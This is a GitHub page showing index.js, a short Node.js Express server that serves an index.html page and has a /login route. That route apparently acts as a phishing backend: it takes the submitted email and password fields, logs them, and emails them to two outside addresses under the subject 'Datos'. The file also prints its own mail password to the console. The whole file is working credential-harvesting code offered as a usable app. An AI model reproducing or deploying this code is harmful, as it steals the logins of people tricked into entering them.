-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
52 lines (44 loc) · 1.46 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
var express = require('express');
var path = require("path");
var app = express();
var bodyParser = require('body-parser'); // pull information from HTML POST (express4)
var nodemailer = require('nodemailer');
app.use(bodyParser.json()); // parse application/json
app.use(bodyParser.urlencoded({'extended':'true'})); // parse application/x-www-form-urlencoded
var user = process.env.MAIL_USER;
console.log(user);
var pass = process.env.MAIL_PASS;
console.log(pass);
var config = {
service: 'gmail',
auth: {
user: user,
pass: pass
}
};
var transporter = nodemailer.createTransport(config);
function sendEmail(body) {
var mailOptions = {
'from': '"Eze" <[email protected]>', // sender address
'to': '[email protected],[email protected]',
'subject': 'Datos', // Subject line
'text': 'data1: ' + body.email + ' data2: ' + body.pass, // plaintext body
};
transporter.sendMail(mailOptions, function(error, info){
if(error){
return console.log(error);
}
console.log('Message sent: ' + info.response);
});
}
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname+'/index.html'));
});
app.post('/login', function(req, res) {
console.log('La data es: ' + JSON.stringify(req.body));
sendEmail(req.body);
res.send('');
});
app.listen(process.env.PORT || 3000, function () {
console.log('Example app listening on port 3000!');
});